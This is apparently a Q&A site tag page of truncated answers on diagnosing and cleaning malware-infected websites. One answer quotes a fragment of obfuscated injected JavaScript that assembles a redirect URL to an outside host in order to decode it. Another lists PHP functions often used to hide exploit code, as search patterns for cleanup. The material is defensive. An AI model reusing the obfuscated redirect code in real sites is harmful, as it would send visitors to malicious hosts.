Tag Info

Hot answers tagged

13

Basic Security Steps Since Wordpress is so popular there are a lot of drive by hacks knocking around taking advantage of flaws in basic security. All Wordpress users should take the following basic and easy steps to protect themselves:- Do not use wp_ as the database table prefix, use any string of random characters that appeals. Turn off Wordpress DB ...


4

Don't worry about them. There are many spammy sites that create links such as that. GoogleBot honours them and tries to follow the URI only to hit a 404. If you do a search for link:http://article-stack.com/2010/08/page/luminous-solutions.net in respective search engines you'll often find the culprit (otherwise they'll have been taken down already). A ...


4

From the Sophos KB If you believe that the URL has been blocked on the basis of hosting malware, but you think this is a false positive, go to the reassessment request form: https://www.sophos.com/en-us/threat-center/reassessment-request.aspx to submit a request to Sophos to reassess the site. Ensure that you complete all the fields. If you are not ...


3

Your question is extremely broad because its a complete guessing game without reviewing your logs, setup and hardware. But to answer your question as you've asked hackers can gain entry to websites normally using these commonly known methods. SQL Injections This most likely accounts for the most common of hacks is an SQL injection on the database to ...


3

What I would suggest you do is Google around, see what sites are reporting yours as malicious. For example, I found that this post on Free PC Security is where most of the reports come from. Try contacting that site and asking them why your whole domain is flagged, and request that they remove you from their list. Also you could check out websites like Web ...


2

The first question I would ask is what is your site hosting? And is ESET flagging just that file or your entire site? And then I would say not to worry about it really. Unless Google blacklists your site, your in the clear. That said, if a desktop AV flags your site as malicious, how long until/if Google does?


2

A while ago I saw quite a few spammers taking advantage of poorly coded site searches. Some searches if they have nothing to return from their site will then show web results (IE Google search results). If they site doesn't keep their search results from being indexed a spammer can easily generate search results they know will return their site and build a ...


2

Your site has probably been black listed on one of those "safe website" lists such as http://www.mywot.com/, sometimes they are used by overzealous anti-viruses (AVG, Kaspersky etc), and can flag as malware in the users browser. You should ask the users who email you what anti-virus they use, then investigate further. If you have ever been hacked at all, ...


2

Subscribe to Google Webmaster Tools. Once your enroll your website, Google Webmaster Tools can help you detect if your site if infected with any malware.


2

Are you running any Ad campaigns on your website? I have had similar experiences when I used non-adsense advertising platforms. Remove any advertisement code that you are using and it should disappear.


2

Malware spread by hacked WP sites is, usually, some hidden iframe in the html pages generated by the CMS, so, unless you move the files on your PC and run the CMS locally, there will be almost zero risks. if you have to test the pages to clean the infection you probably have to take care; use a good antivirus with internet protection features, but again, ...


2

Possibilities ModX EVO CMS is deleting it Malware/Virus is deleting it Shared Hosting is causing it, i.e malware/virus on another user account spreading to yours. Web host is deleting it for one reason or another. How to Investigate Contact your web host if shared hosting Check logs Quick Fix I'm assuming that you are using CHMOD 744 or 777, there ...


2

The reported URL www.f1arab.com does not contain this piece of JS code at first sight. So, looking at the script we can figure out what it is trying to sent you to: var wow = "b3nimb2eawiki11b1infob1ms"; var url = "h"+"ttp"+":/"+"/"+wow.replace(/ea/g,"-").replace(/b3/g,"a").replace(/b2/g, "e").replace(/b1/g,".")+":8"+"1/"+"rem"+"2."+"htm"+"l"; ...


2

Say nothing to no-one. Take snap-shots and capture the source code immediately. Also figure out how they got into the site and plug the hole fast. After you feel good about having as much evidence as to how the site appeared post hack, fix the site. Then research as much as you can. Do not say anything to anybody. Figure out who owns the site that is ...


1

I'd second the opinion that scanning on-upload is too late, and you need to prevent anyone possibly getting that far. If you have a copy of the site pre-hack, then you should really run a file-compare on it and make sure that you can account for everything that has changed on both the files and the database. They may have left a backdoor, even if you ...


1

If it is happening when you come from Google then you are hacked. Hackers do this so when you view your site you cannot detect the hack. Look in your .htaccess file for malicious entries as that is where something like this typically needs to go (but it may be elsewhere). After removing that code you will need to find and fix the security hole that allowed ...


1

You can also scan your site at http://sitecheck.sucuri.net/scanner/ Common forms of malware inject php code into your index.php files which generate the javascript. The PHP doesn't look like the javascript, it may be base64 encoded it may not. It's also possible you have rogue php files on your site inserting the code into your index files as well. In that ...


1

Identify How The File Got Changed First off you want to address the problem of how they are getting into your system since a chmod 755 means only the owner (The web server, ie Apache/iis) has access to write to the files therefor something else is doing the written to these files via your CMS/SQL/PHP. Identify how they got in... (Check access.logs, ...


1

What you need to do is request a Malware Review which is not the same as a usual reconsideration request as it is handled by an entire different team. You do this from the Webmaster Tools. Google explains all the steps in the process here. If all you are missing is the Review, see here.


1

Your problem is that you have not identified how the hackers got in, simply removing the malware/virus doesn't address the actual issue of how they planted the code, therefore simply removing will resolve the problem temporary but at some point the hackers will use the same exploit and replant. There could be could be 101 reasons why and no one here will ...


1

I doubt that @Joe's answer will work, as the injection script is likely encrypted or at least obfuscated. It appears that SiteCake is written in PHP, so do a search for base64_decode, str_rot13 and gzdeflate as these are often used to disguise exploit code. It is by no means certain that components using these commands are definitely malware, but the ...


1

they would experience a detriment to response time relative to your VM resources. Beyond that its a guess question. "Some detriment, what specifically is unknown without VM environment specifics" Lousy albeit concise answer. If you would like a more concrete answer: avail us to more concrete server resource information :D Good luck sir or madam ! :D


1

You can do check the things after removing the clamav connector on the cPanel server, you can simply do stop its services or can remove it with the help of below commands: #/etc/init.d/clamd stop or #yum remove clamav*


1

1) Strong passwords (12+ chars, letter+number+specials chars), use of trusted code, application of published security updates to managed code. 2) Virus/Malware scanning at least. If intrusion is suspected, change all your password (using the suggestions from #1 above) for the machine(s). If it's really a problem, hire a professional that specializes in ...


1

If, by your own admission, your users are uploading nasty files, then the anti-virus programs are doing their job and are will within their rights to block your site from their users computers, and I don't know if there's any way really around this.



Only top voted, non community-wiki answers of a minimum length are eligible